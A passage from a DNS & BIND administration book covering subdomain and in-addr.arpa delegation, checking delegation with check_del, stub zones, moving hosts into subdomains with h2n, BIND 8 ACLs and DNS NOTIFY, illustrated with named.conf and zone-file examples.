First, we need to figure out what 254.253.192.in-addr.arpa's parent zone is, and who runs it. To figure this out may take some sleuthing; we covered how to do this in Chapter 3, Where Do I Start?.

As it turns out, the in-addr.arpa zone is 254.253.192.in-addr.arpa's parent. And, if you think about it, that makes some sense. There's no reason for the administrators of in-addr.arpa to delegate 253.192.in-addr.arpa or 192.in-addr.arpa to a separate authority, because unless 192.0.0.0 or 192.253.0.0 is all one big CIDR block, networks like 192.253.253 and 192.253.254 don't have anything in common with each other. They may be managed by totally unrelated organizations.

You might have remembered (from Chapter 3) that the in-addr.arpa zone is managed by ARIN, the American Registry of Internet Numbers. (Of course, if you didn't remember, you could always use nslookup to find the contact address in in-addr.arpa's SOA record, like we showed you in Chapter 3.) All that's left is for us to fill out inaddrtemplate.txt (there's a copy in Appendix E, in-addr.arpa Registration Form, or you can find it online at http://www.arin.net/templates/inaddrtemplate.txt), and send it to the email address hostmaster@arin.net.

9.4.6 Adding a movie.edu Slave

If the special effects lab gets big enough, it may make sense to put a movie.edu slave somewhere on the 192.253.254 network. That way, a larger proportion of DNS queries from fx.movie.edu hosts can be answered locally. It seems logical to make one of the existing fx.movie.edu name servers into a movie.edu slave, too - that way, we can make better use of an existing name server, instead of setting up a brand-new name server.

We've decided to make bladerunner a slave for movie.edu. This won't interfere with bladerunner's primary mission: the primary master for fx.movie.edu, that is. A single name server, given enough memory, can be authoritative for literally thousands of zones. One name server can load some zones as a primary master and others as a slave.[2]

[2] Clearly, though, a name server can't be both the primary master and a slave for a single zone. Either the name server gets the data for a given zone from a local file (and is a primary master for the zone) or from another name server (and is a slave for the zone).

The configuration change is simple: we add one line to bladerunner's named.conf file to tell named to load the movie.edu zone from the IP address of the movie.edu primary master name server, terminator.movie.edu.

Contents of file named.conf:

options {
                directory "/usr/local/named";
};

zone "0.0.127.in-addr.arpa" {
                type master;
                file "db.127.0.0";
};

zone "fx.movie.edu" {
                type master;
                file "db.fx";
};

zone "254.253.192.in-addr.arpa" {
                type master;
                file "db.192.253.254";
};

zone "movie.edu" {
                type slave;
                file "db.movie";
};

zone "." {
                type hint;
                file "db.cache";
};

Or, if you're using a BIND 4 name server, here are the contents of the named.boot file:

directory     /usr/local/named

primary       0.0.127.in-addr.arpa      db.127.0.0  ; loopback
primary       fx.movie.edu              db.fx
primary       254.253.192.in-addr.arpa  db.192.253.254
secondary     movie.edu                 192.249.249.3     db.movie

cache         .                         db.cache

Previous: 9.3 What to Name Your Children | DNS & BIND | Next: 9.5 Subdomains of in-addr.arpa Domains
9.3 What to Name Your Children | Book Index | 9.5 Subdomains of in-addr.arpa Domains


[Chapter 9] 9.5 Subdomains of in-addr.arpa Domains

DNS & BIND

DNS & BINDSearch this book
Previous: 9.4 How to Become a Parent: Creating Subdomains Chapter 9
Parenting 		Next: 9.6 Good Parenting

9.5 Subdomains of in-addr.arpa Domains

Forward mapping domains aren't the only domains you can divide into subdomains and delegate. If your in-addr.arpa name space is large enough, you may need to divide it, too. Typically, you divide the domain that corresponds to your network number into subdomains to correspond to your subnets. How that works depends on the type of network you have and on your network's subnet mask.

9.5.1 Subnetting on an Octet Boundary

Since Movie U. just has three /24 (class C-sized) network numbers, one per segment, there's no particular need to subnet those networks. However, our sister university, Altered State, has a class B-sized network, 172.20/16. Their network is subnetted between the third and fourth octet of the IP address; that is, their subnet mask is 255.255.255.0. They've already created a number of subdomains of their domain, altered.edu, including fx.altered.edu (okay, we copied them), makeup.altered.edu, and foley.altered.edu. Since each of these departments also runs its own subnet (their special effects department runs subnet 172.20.2.0, makeup runs 172.20.15.0, and foley runs 172.20.25.0), they'd like to divvy up their in-addr.arpa namespace appropriately, too.

Delegating in-addr.arpa subdomains is no different from delegating subdomains of forward-mapping domains. Within their db.172.20 file, they need to add NS records like these:

  2     86400    IN    NS    gump.fx.altered.edu.
  2     86400    IN    NS    toystory.fx.altered.edu.
  15    86400    IN    NS    prettywoman.makeup.altered.edu.
  15    86400    IN    NS    priscilla.makeup.altered.edu.
  25    86400    IN    NS    blowup.foley.altered.edu.
  25    86400    IN    NS    muppetshow.foley.altered.edu.

delegating the subdomain that corresponds to each subnet to the correct name server in each subdomain.

Two important reminders: the Altered States administrators needed to use the fully qualified domain names of the name servers in the NS records, because the default origin in this file is 20.172.in-addr.arpa, and they didn't need glue address records, since the names of the name servers they delegated the zone to weren't in the zone.

9.5.2 Subnetting on a Non-Octet Boundary

What do you do about networks that aren't subnetted neatly on octet boundaries, like subnetted /24 (class C-sized) networks? In these cases, you can't delegate along lines that match the subnets. This forces you into one of two situations: you have multiple subnets per in-addr.arpa subdomain, or you have multiple in-addr.arpa subdomains per subnet. Neither is particularly pleasing.

9.5.2.1 Class A and B networks

Let's take the case of the /8 (class A-sized) network 15.0.0.0, subnetted with the subnet mask 255.255.248.0 (a thirteen-bit subnet field and an eleven-bit host field, or 8192 subnets of 2048 hosts). In this case, the subnet 15.1.200.0, for example, extends from 15.1.200.0 to 15.1.207.255. Therefore, the delegation for that single subdomain in db.15, the zone database file for 15.in-addr.arpa, looks like this:

200.1.15.in-addr.arpa.    86400    IN    NS    ns-1.cns.hp.com.
200.1.15.in-addr.arpa.    86400    IN    NS    ns-2.cns.hp.com.
201.1.15.in-addr.arpa.    86400    IN    NS    ns-1.cns.hp.com.
201.1.15.in-addr.arpa.    86400    IN    NS    ns-2.cns.hp.com.
202.1.15.in-addr.arpa.    86400    IN    NS    ns-1.cns.hp.com.
202.1.15.in-addr.arpa.    86400    IN    NS    ns-2.cns.hp.com.
203.1.15.in-addr.arpa.    86400    IN    NS    ns-1.cns.hp.com.
203.1.15.in-addr.arpa.    86400    IN    NS    ns-2.cns.hp.com.
204.1.15.in-addr.arpa.    86400    IN    NS    ns-1.cns.hp.com.
204.1.15.in-addr.arpa.    86400    IN    NS    ns-2.cns.hp.com.
205.1.15.in-addr.arpa.    86400    IN    NS    ns-1.cns.hp.com.
205.1.15.in-addr.arpa.    86400    IN    NS    ns-2.cns.hp.com.
206.1.15.in-addr.arpa.    86400    IN    NS    ns-1.cns.hp.com.
206.1.15.in-addr.arpa.    86400    IN    NS    ns-2.cns.hp.com.
207.1.15.in-addr.arpa.    86400    IN    NS    ns-1.cns.hp.com.
207.1.15.in-addr.arpa.    86400    IN    NS    ns-2.cns.hp.com.

That's a lot of delegation for one subnet!

9.5.2.2 /24 (class C-sized) networks

In the case of a subnetted /24 (class C-sized) network, say 192.253.254.0, subnetted with the mask 255.255.255.192, you have a single in-addr.arpa zone, 254.253.192.in-addr.arpa, that corresponds to subnets 192.253.254.0/26, 192.253.254.64/26, 192.253.254.128/26, and 192.253.254.192/26. You can solve this one of three ways, none of them pretty.

Solution 1

The first is to administer the 254.253.192.in-addr.arpa zone as a single entity and not even try to delegate. This requires either cooperation between the administrators of the four subnets involved or the use of a tool like MIT's WebDNS (http://hem.passagen.se/hno/webdns/) to allow each of the four administrators to take care of their own data.

Solution 2

The second is to delegate at the fourth octet. That's even nastier than the /8 delegation we just showed. You'll need at least a couple of NS records per IP address in the file db.192.253.254, like this:

1.254.253.192.in-addr.arpa.    86400    IN    NS    ns1.foo.com.
1.254.253.192.in-addr.arpa.    86400    IN    NS    ns2.foo.com.

2.254.253.192.in-addr.arpa.    86400    IN    NS    ns1.foo.com.
2.254.253.192.in-addr.arpa.    86400    IN    NS    ns2.foo.com.

...

65.254.253.192.in-addr.arpa.    86400    IN    NS    relay.bar.com.
65.254.253.192.in-addr.arpa.    86400    IN    NS    gw.bar.com.

66.254.253.192.in-addr.arpa.    86400    IN    NS    relay.bar.com.
66.254.253.192.in-addr.arpa.    86400    IN    NS    gw.bar.com.

...

129.254.253.192.in-addr.arpa.    86400    IN    NS    mail.baz.com.
130.254.253.192.in-addr.arpa.    86400    IN    NS    www.baz.com.

194.254.253.192.in-addr.arpa.    86400    IN    NS    mail.baz.com.
194.254.253.192.in-addr.arpa.    86400    IN    NS    www.baz.com.

and so on, all the way down to 254.254.253.192.in-addr.arpa. Of course, in ns1.foo.com's named.conf, you'd also expect to see:

zone "1.254.253.192.in-addr.arpa" {
                type master;
                file "db.192.253.254.1";
};

zone "2.254.253.192.in-addr.arpa" {
                type master;
                file "db.192.253.254.2";
};

Or, if ns1.foo.com were running BIND 4, you'd expect to see these directives in named.boot:

primary    1.254.253.192.in-addr.arpa    db.192.253.254.1
primary    2.254.253.192.in-addr.arpa    db.192.253.254.2

and in db.192.253.254.1, just the one PTR record:

@    IN    SOA    ns1.foo.com.    root.ns1.foo.com.    (
                         1        ; Serial
                         10800    ; Refresh
                         3600     ; Retry
                         608400   ; Expire
                         86400    ; Default TTL

    IN    NS    ns1.foo.com.
    IN    NS    ns2.foo.com.

    IN    PTR    thereitis.foo.com.

Note that the PTR record is attached to the zone's domain name, since the zone's domain name corresponds to just one IP address. Now, when a 254.253.192.in-addr.arpa name server receives a query for the PTR record for 1.254.253.192.in-addr.arpa, it will refer the querier to ns1.foo.com and ns2.foo.com, which will respond with the one PTR record in the zone.

Solution 3

Finally, there's a clever technique that obviates the need to maintain a separate zone data file for each IP address.[3] The organization responsible for the overall /24 network creates CNAME records for each of the domain names in the zone, pointing to domain names in new subdomains, called 0-63, 64-127, 128-191, and 192-255, which are then delegated to the proper servers. Each subdomain will contain only the PTR records in the range the subdomain is named for.

[3] We first saw this explained by Glen Herrmansfeldt at CalTech in the newsgroup comp.protocols.tcp-ip.domains. It's now codified as RFC 2317.

Partial contents of file 254.253.192.in-addr.arpa.dns:

1.254.253.192.in-addr.arpa.  IN  CNAME  1.0-63.254.253.192.in-addr.arpa.
2.254.253.192.in-addr.arpa.  IN  CNAME  2.0-63.254.253.192.in-addr.arpa.

...

0-63.254.253.192.in-addr.arpa.    86400    IN    NS    ns1.foo.com.
0-63.254.253.192.in-addr.arpa.    86400    IN    NS    ns2.foo.com.

65.254.253.192.in-addr.arpa. IN  CNAME 65.64-127.254.253.192.in-addr.arpa.
66.254.253.192.in-addr.arpa. IN  CNAME 66.64-127.254.253.192.in-addr.arpa.

...

64-127.254.253.192.in-addr.arpa.    86400    IN    NS    relay.bar.com.
64-127.254.253.192.in-addr.arpa.    86400    IN    NS    gw.bar.com.

129.254.253.192.in-addr.arpa.  IN  CNAME  129.128-191.254.253.192.in-addr.arpa.
130.254.253.192.in-addr.arpa.  IN  CNAME  130.128-191.254.253.192.in-addr.arpa.

...

128-191.254.253.192.in-addr.arpa.    86400    IN    NS    mail.baz.com.
128-191.254.253.192.in-addr.arpa.    86400    IN    NS    www.baz.com.

The zone data file for 0-63.254.253.192.in-addr.arpa, 0-63.254.253.192.in-addr.arpa.dns, can contain just PTR records for IP addresses 192.253.254.1 through 192.253.254.63.

Partial contents of file 0-63.254.253.192.in-addr.arpa:

@    IN    soa    ns1.foo.com.    root.ns1.foo.com.    (
                          1       ; Serial
                          10800   ; Refresh
                          3600    ; Retry
                          608400  ; Expire
                          86400 ) ; Default TTL

    in    NS    ns1.foo.com.
    in    NS    ns2.foo.com.

1    IN    PTR    thereitis.foo.com.
2    IN    PTR    setter.foo.com.
3    IN    PTR    mouse.foo.com.
...

When a resolver requests the PTR record for 1.254.253.192.in-addr.arpa, a 254.253.192.in-addr.arpa name server will transparently (to the resolver) map this to a request for the PTR record for 1.0-63.254.253.192.in-addr.arpa. This request will wind up at one of the 0-63.254.253.192.in-addr.arpa name servers, run by the organization that runs the low (addresses 0-63) subnet.

Previous: 9.4 How to Become a Parent: Creating Subdomains | DNS & BIND | Next: 9.6 Good Parenting
9.4 How to Become a Parent: Creating Subdomains | Book Index | 9.6 Good Parenting


[Chapter 9] 9.6 Good Parenting

DNS & BIND

DNS & BINDSearch this book
Previous: 9.5 Subdomains of in-addr.arpa Domains Chapter 9
Parenting 		Next: 9.7 Managing the Transition to Subdomains

9.6 Good Parenting

Now that the delegation to the fx.movie.edu name servers is in place, we - responsible parents that we are - should check that delegation using check_del. What? We haven't given you check_del yet? Unfortunately, check_del is too long to include in this book, but we've made it available via anonymous ftp. See the preface for details. Feel free to snatch the code there and compile it if you want to follow along.

check_del "knows" delegation. check_del reads NS records. For each NS record, check_del issues a query to the name server listed for the zone's SOA record. The query is nonrecursive, so the name server queried doesn't query other name servers to find the SOA record. If the name server replies, check_del checks the reply to see whether the aa - authoritative answer - bit in the reply packet is set. If it is, the name server checks to make sure that the packet contains an answer. If both these criteria are met, the name server is flagged as authoritative for the zone. Otherwise, the name server is not authoritative, and check_del reports an error.

Why all the fuss over bad delegation? Incorrect delegation can cause the propagation of old and erroneous root name server information. When a name server is queried for data in a zone it isn't authoritative for, it does its best to provide useful information to the querier. This "useful information" comes in the form of NS records for the closest ancestor domain the name server knows. (We mentioned this briefly in Chapter 8, Growing Your Domain, when we discussed why you shouldn't register a caching-only name server.)

For example, say one of the fx.movie.edu name servers mistakenly receives an iterative query for the address of carrie.horror.movie.edu. It knows nothing about the horror.movie.edu domain (except for what it might have cached), but it likely has NS records for movie.edu cached, since those are its parent name servers. So it would return those records to the querier.

In that scenario, the NS records may help the querying name server get an answer. However, it's a fact of life on the Internet that not all administrators keep their cache files up to date. If one of your name servers follows a bad delegation and queries a remote name server for records it doesn't have, look what can happen:

% nslookup
Default Server:  terminator.movie.edu
Address:  192.249.249.3

> set type=ns
> .
Server:  terminator.movie.edu
Address:  192.249.249.3

Non-authoritative answer:
(root)  nameserver = D.ROOT-SERVERS.NET
(root)  nameserver = E.ROOT-SERVERS.NET
(root)  nameserver = I.ROOT-SERVERS.NET
(root)  nameserver = F.ROOT-SERVERS.NET
(root)  nameserver = G.ROOT-SERVERS.NET
(root)  nameserver = A.ROOT-SERVERS.NET
(root)  nameserver = H.ROOT-SERVERS.NETNIC.NORDU.NET
(root)  nameserver = B.ROOT-SERVERS.NET
(root)  nameserver = C.ROOT-SERVERS.NET
(root)  nameserver = A.ISI.EDU           - These three name
(root)  nameserver = SRI-NIC.ARPA        - servers are no longer
(root)  nameserver = GUNTER-ADAM.ARPA    - roots

A remote name server tried to "help out" our local name server by sending it the current list of roots. Unfortunately, the remote name server was corrupt, and returned NS records that were incorrect. And our local name server, not knowing any better, cached that data.

Queries to misconfigured in-addr.arpa name servers often result in bad root NS records, because the in-addr.arpa and arpa domains are the closest ancestors of most in-addr.arpa subdomains, and name servers very seldom cache either in-addr.arpa or arpa's NS records. (The roots seldom give them out, since they delegate directly to lower-level subdomains.) Once your name server has cached bad root NS records, your name resolution may suffer.

Those root NS records may have your name server querying a root name server that is no longer at that IP address, or a root name server that no longer exists at all. If you're having an especially bad day, the bad root NS records may point to a real, non-root name server that is close to your network. Even though it won't return authoritative root data, your name server will favor it because it will have a low RTT due to its proximity to your network.

9.6.1 Using check_del

If our little lecture has convinced you of the importance of maintaining correct delegation, you'll be eager to learn how to use check_del to ensure that you don't join the ranks of the miscreants.

check_del usually takes two arguments: the name of a data file to check, and the default origin in the data file. The default origin tells check_del the domain name to append to relative names in the file. (When named reads the db file, it learns the default origin in the named.conf or named.boot file; it's at the beginning of the zone statement, and always the second field in a primary or secondary directive. check_del doesn't read the conf or boot file, though, so you need to specify the domain name on the command line. If it read the conf or boot file, it'd be limited to checking only db files listed in it.)

To check whether the db.movie file contains proper delegation to fx.movie.edu (and any other subdomains), we'd run:

% check_del -o movie.edu -f db.movie

If the delegation is correct, we'd see this:

5 domains properly delegated

Actually, it's one domain delegated to three authoritative servers (movie.edu delegated to terminator, wormhole, and zardoz), and one subdomain delegated to two authoritative servers (fx.movie.edu delegated to bladerunner and outland), but check_del doesn't know that. The point is that all the NS records in db.movie are correct.

If one of the fx.movie.edu name servers - say outland - were misconfigured, we'd see this:

Server outland.fx.movie.edu is not authoritative for fx.movie.edu

4 domains properly delegated
1 domains improperly delegated

Okay, check_del doesn't really understand plurals, either.

If one of the fx.movie.edu name servers weren't running at all, we'd see:

4 domains properly delegated
1 servers not running

Servers not running:
        outland.fx.movie.edu

In this case, not running really means that check_del tried to send the name server a query and got an ICMP port unreachable error back, which indicated that nothing was listening on the name server port.

And if the name server didn't answer in an acceptable amount of time, you'd see:

4 domains properly delegated
1 servers not responding

Servers not responding:
        outland.fx.movie.edu

9.6.2 Managing Delegation

If the special effects lab gets bigger, we may find that we need additional name servers. We dealt with setting up new name servers in Chapter 8, and even went over what information to send to the parent zone's administrator. But we never explained what the parent needed to do.

It turns out that the parent's job is relatively easy, especially if the administrators of the subdomain send complete information. Imagine that the special effects lab expands to a new network, 192.254.20. They have a passel of new, high-powered graphics workstations. One of them, alien.fx.movie.edu, will act as the network's name server.

The administrators of fx.movie.edu (we delegated it to the folks in the lab) send their parent zones' administrators (that's us) a short note:

Hi!

We've just set up alien.fx.movie.edu (192.254.20.3) as a name
server for fx.movie.edu.  Would you please update your
delegation information?  I've attached the NS records you'll
need to add.

Thanks,

Arty Segue
ajs@fx.movie.edu

----- cut here -----

fx.movie.edu.  86400  IN  NS  bladerunner.fx.movie.edu.
fx.movie.edu.  86400  IN  NS  outland.fx.movie.edu.
fx.movie.edu.  86400  IN  NS  alien.fx.movie.edu.

bladerunner.fx.movie.edu.  86400  IN  A  192.253.254.2
outland.fx.movie.edu.      86400  IN  A  192.253.254.3
alien.fx.movie.edu.        86400  IN  A  192.254.20.3

Our job as the movie.edu administrator is straightforward: add the NS and A records to db.movie.

What if we're using h2n to create our name server data? We can stick the delegation information into the spcl.movie file, which h2n $INCLUDEs at the end of the db.movie file it creates.

The final step for the fx.movie.edu administrator is to send a similar message to hostmaster@internic.net (administrator for the in-addr.arpa domain), requesting that the 20.254.192.in-addr.arpa domain be delegated to alien.fx.movie.edu, bladerunner.fx.movie.edu, and outland.fx.movie.edu.

9.6.2.1 Another way to manage delegation: stubs

If you're running BIND 4.9 or BIND 8 name servers, you don't have to manage delegation information manually. BIND 4.9 and BIND 8 name servers support an experimental feature, called stub, which enables a name server to pick up changes to delegation information automatically.

Name servers that act as stubs for a subdomain do periodic zone transfers of the subdomain's data, but they ignore everything in it except for the NS records and the SOA record. The NS records are "promoted" into the parent zone, and the SOA record governs how often the stub does zone transfers. Now, when the administrators of a subdomain make changes to the subdomain's name servers, they simply update their NS records. The parent zone's authoritative name servers will pick up the updated records within the refresh interval.

On the movie.edu name servers running BIND 8, here's what we'd add to named.conf:

zone "fx.movie.edu" {
                type stub;
                file "db.fx";
                masters { 192.253.254.2; };
};

On a BIND 4.9 name server, we'd use this directive:

stub     fx.movie.edu    192.253.254.2     db.fx

Note that we should configure all of the movie.edu name servers as stubs for fx.movie.edu, because if the fx.movie.edu delegation information changes, that won't change the movie.edu zone's serial number.

Previous: 9.5 Subdomains of in-addr.arpa Domains | DNS & BIND | Next: 9.7 Managing the Transition to Subdomains
9.5 Subdomains of in-addr.arpa Domains | Book Index | 9.7 Managing the Transition to Subdomains


[Chapter 9] 9.7 Managing the Transition to Subdomains

DNS & BIND

DNS & BINDSearch this book
Previous: 9.6 Good Parenting Chapter 9
Parenting 		Next: 9.8 The Life of a Parent

9.7 Managing the Transition to Subdomains

We won't lie to you - the fx.movie.edu example we showed you was unrealistic for several reasons. The main one is the magical appearance of the special effects lab's hosts. In the real world, the lab would have started out with a few hosts, probably in the movie.edu zone. After a generous endowment, an NSF grant, or a corporate gift, they might expand the lab a little and buy a few more computers. Sooner or later, the lab would have enough hosts to warrant the creation of a new subdomain. By that point, however, many of the original hosts would be well known by their names under movie.edu.

We briefly touched on using CNAME records under the parent domain (in our plan9.movie.edu example) to help people adjust to a host's change of domain. But what happens when you move a whole network or subnet into a new subdomain?

The strategy we recommend uses CNAME records in much the same way, but on a larger scale. Using a tool like h2n, you can create CNAMEs for hosts en masse. This allows users to continue using the old domain names for any of the hosts that have moved. When they telnet or ftp (or whatever) to those hosts, however, the command will report that they're connected to a host in fx.movie.edu:

% telnet plan9
Trying...
Connected to plan9.fx.movie.edu.
Escape character is '^]'.

HP-UX plan9.fx.movie.edu A.09.05 C 9000/735 (ttyu1)

login:

Some users, of course, don't notice subtle changes like this, so you should also do some public relations work and notify folks of the change.

On fx.movie.edu hosts running old versions of sendmail, we may also need to configure mail to accept mail addressed to the new domain names. Modern versions of sendmail canonicalize the host names in addresses in message headers using a name server before sending the messages. This will turn a movie.edu alias into a canonical name in fx.movie.edu. If, however, the sendmail on the receiving end is older and hardcodes the local host's domain name, we'd have to change the name to the new domain name by hand. This usually requires a simple change to class w or fileclass w in sendmail.cf; see the section "The MX Algorithm" in Chapter 5, DNS and Electronic Mail.

How do you create all these aliases? You simply need to tell h2n to create the aliases for hosts on the fx.movie.edu networks (192.253.254 and 192.254.20), and indicate (in the /etc/hosts file) what the new domain names for the hosts are. For example, using the fx.movie.edu host table, we could easily generate the aliases under movie.edu for all the hosts in fx.movie.edu.

Partial contents of file /etc/hosts:

192.253.254.1 movie-gw.movie.edu movie-gw
# fx primary
192.253.254.2 bladerunner.fx.movie.edu bladerunner br
# fx secondary
192.253.254.3 outland.fx.movie.edu outland
192.253.254.4 starwars.fx.movie.edu starwars
192.253.254.5 empire.fx.movie.edu empire
192.253.254.6 jedi.fx.movie.edu jedi
192.254.20.3  alien.fx.movie.edu alien

h2n's -c option takes a zone's domain name as an argument. When h2n finds any hosts in that zone on networks it's building data for, it'll create aliases for them in the current zone (specified with -d). So by running:

% h2n -d movie.edu -n 192.253.254 -n 192.254.20 \
-c fx.movie.edu -f options

(where options contains other command-line options for building data from other movie.edu networks), we could create aliases under movie.edu for all fx.movie.edu hosts.

9.7.1 Removing Parent Aliases

Although parent-level aliases are useful for minimizing the impact of moving your hosts, they're also a crutch of sorts. Like a crutch, they'll restrict your freedom. They'll clutter up your parent name space, when one of your motivations for implementing a subdomain may have been making the parent zone smaller. And they'll prevent you from using the names of hosts in the subdomain as names for hosts in the parent zone.

After a grace period - which should be well advertised to users - you should remove all the aliases, with the possible exception of aliases for extremely well-known Internet hosts. During the grace period, users can adjust to the new domain names, and modify scripts, .rhosts files, and the like. But don't get suckered into leaving all those aliases in the parent zone; they defeat part of the purpose of the DNS, because they prevent you and your subdomain administrator from naming hosts autonomously.

You might want to leave CNAME records for well-known Internet hosts or central network resources intact, because of the potential impact of a loss of connectivity. On the other hand, rather than moving the well-known host or central resource into a subdomain at all, it might be better to leave it at the parent zone level.

h2n gives you an easy way to delete the aliases you created so simply with the -c option, even if the records for the subdomain's hosts are mixed in the host table or on the same network as hosts in other zones. The -e option takes a zone's domain name as an argument, and tells h2n to exclude (hence -e) all records containing that domain name on networks it would otherwise create data for. This command line, for example, would delete all the CNAME records for fx.movie.edu hosts created earlier, while still creating an A record for movie-gw (which is on the 192.253.254 network):

% h2n -d movie.edu -n 192.253.254 -n 192.254.20 \
-e fx.movie.edu -f options

Previous: 9.6 Good Parenting | DNS & BIND | Next: 9.8 The Life of a Parent
9.6 Good Parenting | Book Index | 9.8 The Life of a Parent


[Chapter 9] 9.8 The Life of a Parent

DNS & BIND

DNS & BINDSearch this book
Previous: 9.7 Managing the Transition to Subdomains Chapter 9
Parenting 		Next: 10. Advanced Features and Security

9.8 The Life of a Parent

That's a lot of parental advice to digest in one sitting, so let's recap the highlights of what we've talked about. The life cycle of a typical parent goes something like this:

  1. You have a single zone, with all of your hosts in that zone.

  2. You break your zone into a number of subdomains, some of them in the same zone as the parent, if necessary. You provide CNAME records in the parent zone for well-known hosts that have moved into subdomains.

  3. After a grace period, you delete any remaining CNAME records.

  4. You handle subdomain delegation updates, either manually or by using stubs, and periodically check delegation.

Okay, now that you know all there is to parenting, let's go on to talk about more advanced name server features. You may need some of these tools to keep those kids in line.

Previous: 9.7 Managing the Transition to Subdomains | DNS & BIND | Next: 10. Advanced Features and Security
9.7 Managing the Transition to Subdomains | Book Index | 10. Advanced Features and Security


[Chapter 10] Advanced Features and Security

DNS & BIND

DNS & BINDSearch this book
Previous: 9.8 The Life of a Parent Chapter 10 Next: 10.2 DNS NOTIFY (Zone Change Notification)

10. Advanced Features and Security

Contents:
Address Match Lists and ACLs
DNS NOTIFY (Zone Change Notification)
DNS Dynamic Update
System Tuning
Name Server Address Sorting
Preferring Name Servers on Certain Networks
Building Up a Large Site-wide Cache with Forwarders
A More Restricted Name Server
A Nonrecursive Name Server
Avoiding a Bogus Name Server
Securing Your Name Server
Load Sharing Between Mirrored Servers

"What's the use of their having names," the Gnat said, "if they won't answer to them?"

The latest BIND name server, version 8.1.2, has lots of new features. Two of the most prominent introductions are support for asynchronous zone change notification (DNS NOTIFY) and DNS Dynamic Update. Of the rest, the most important are related to security: they'll let you tell your name server whom to answer queries from, whom to offer zone transfers to, and whom to permit dynamic updates from. Many of the security features aren't necessary inside a corporate network, but the other mechanisms will help out the administrators of any name servers.

In this chapter, we'll cover these features and suggest how they might come in handy in your DNS infrastructure. (We do save some of the hard-core firewall material 'til the last chapter, though.)

10.1 Address Match Lists and ACLs

Before we introduce many of the new features, however, we'd better cover address match lists. BIND 8 uses address match lists for nearly every security feature, and for some features that aren't security-related at all.

An address match list is a list (what else?) of terms that specify one or more IP addresses. The elements in the list can be individual IP addresses, IP prefixes, or a named access control list. An IP prefix has the format:

network in dotted-octet format/bits in netmask

For example, the network 15.0.0.0, with the network mask 255.0.0.0 (eight contiguous ones), would be written 15/8. Traditionally, this would have been thought of as the "class A" network 15. The network consisting of IP addresses 192.168.1.192 through 192.168.1.255, on the other hand, would be written 192.168.1.192/26 (network 192.168.1.192 with the netmask 255.255.255.192, which has 26 contiguous ones).

A named ACL must have been previously defined with an acl statement. The acl statement has a simple structure:

acl "name" {
                { address_match list; };
};

Any time you're going to use one or more terms in a few access lists, it's a good idea to use an acl statement to associate them with a name. You can then refer to the name in the address match list. For example, let's call 15/8 what it is: HP-NET. And we'll call 192.168.1.192/26 "internal":

acl "HP-NET" {
                { 15/8; };
};

acl "internal" {
                { 192.168.1.192/26; };
};

Now we can refer to these ACLs by name in address match lists.

There are also four predefined access lists:

None

No IP addresses

Any

All IP addresses

Localhost

Any of the local host's IP addresses

Localnets

Any of the networks the local host has a network interface on (found by using each network interface's IP address and using the netmask to mask off the host bits in the address)

Previous: 9.8 The Life of a Parent | DNS & BIND | Next: 10.2 DNS NOTIFY (Zone Change Notification)
9.8 The Life of a Parent | Book Index | 10.2 DNS NOTIFY (Zone Change Notification)


[Chapter 10] 10.2 DNS NOTIFY (Zone Change Notification)

DNS & BIND

DNS & BINDSearch this book
Previous: 10.1 Address Match Lists and ACLs Chapter 10
Advanced Features and Security 		Next: 10.3 DNS Dynamic Update

10.2 DNS NOTIFY (Zone Change Notification)

Traditionally, BIND slaves have used a polling scheme to determine when they need a zone transfer. The polling interval is called the refresh time. Other parameters in the zone's SOA record govern other aspects of the polling mechanism.

Wouldn't it be nice if the primary master name server could tell its slave servers when the information in a zone changed? After all, the primary master name server knows the data has changed: Someone signaled it with a SIGHUP, and it checked the mtime (the UNIX file modification time) of all of its zone data files to determine which had been changed. The primary's notification could come soon after the actual modification, instead of waiting for the refresh interval to expire.

RFC 1996 proposed a mechanism that would allow primary master servers to notify their slaves of changes to a zone's data. BIND 8 implements this scheme, called DNS NOTIFY for short.

DNS NOTIFY works like this: when a primary master name server notices a change to data in a zone, it sends a special request to all of the slave servers for that zone. It determines which servers are the slaves for the zone by looking at the list of NS records in the zone and taking out the one that points to the name server listed in the first record-specific field in the zone's SOA record as well as the local host.

The special NOTIFY request is identified by its opcode in the query header. The opcode for most queries is QUERY. NOTIFY messages have a special opcode, NOTIFY (duh). Other than that, the request looks very much like a query for the SOA record for the zone: it specifies the zone's domain name, class, and a type of SOA. The authoritative answer bit is also set.

When a slave receives a NOTIFY request for a zone from one of its configured master name servers, it responds with a NOTIFY response. The response tells the master that the slave received the NOTIFY request, so that it can stop sending it NOTIFY messages for the zone. Then the slave proceeds just as if the refresh timer had expired: it queries the master server for the SOA record for the zone that the master claimed has changed. If the serial number is higher, the slave transfers the zone.

Why doesn't the slave simply take the master's word that the zone has changed? It's possible that a miscreant could forge NOTIFY requests to our slaves, causing lots of unnecessary zone transfers, amounting to a denial of service attack against our master server.

If the slave actually transfers the zone, RFC 1996 says that it should issue its own NOTIFY requests to the other authoritative name servers for the zone. The idea is that the primary master may not be able to notify all of the slave servers for the zone itself, since it's possible some slaves can't communicate directly with the primary master and use another slave as their master. However, BIND 8 doesn't implement this, and BIND 8 slaves don't send NOTIFY messages unless explicitly configured to.

Here's how that works in practice. On our network, terminator.movie.edu is the primary master for movie.edu, and wormhole.movie.edu and zardoz.movie.edu are slaves, as shown in Figure 10.1.

Figure 10.1: movie.edu zone transfers

When we update movie.edu on terminator, terminator sends NOTIFY messages to wormhole and zardoz. Both slaves check to see whether movie.edu's serial number has incremented, and when they find it has, perform a zone transfer.

Let's also look at a more complicated zone transfer scheme. Here, a is the primary master name server for the zone, and b's master server, but b is c's master server. Moreover, b has two network interfaces, as shown in Figure 10.2.

Figure 10.2: Complex zone transfer example

In this scenario, a notifies both b and c after the zone is updated. b checks to see whether the zone's serial number has incremented and initiates a zone transfer. However, c ignores a's NOTIFY message, because a is not c's configured master name server (b is). If b is explicitly configured to notify c, then after b's zone transfer completes, it sends c a NOTIFY message, which prompts c to check the serial number b holds for the zone.

Note also that if there's any possibility that c will receive a NOTIFY message from b's other network interface, c must be configured with both network interfaces' addresses in the zone's masters substatement, or else c will ignore NOTIFY messages from the unknown interface.

BIND 4 slave name servers, and other name servers that don't support NOTIFY, will respond with a Not Implemented (NOTIMP) error. Note that Microsoft's Windows NT DNS Server does support DNS NOTIFY.

In BIND 8, DNS NOTIFY is on by default, but you can turn NOTIFY off globally with the substatement:

options {
                notify no;
};

You can also turn NOTIFY on or off for a particular zone. For example, say you know that all of the slave servers for your acmebw.com zone are running BIND 4, and therefore don't understand NOTIFY requests. The zone statement:

zone "acmebw.com" {
                type master;
                file "db.acmebw";
                notify no;
};

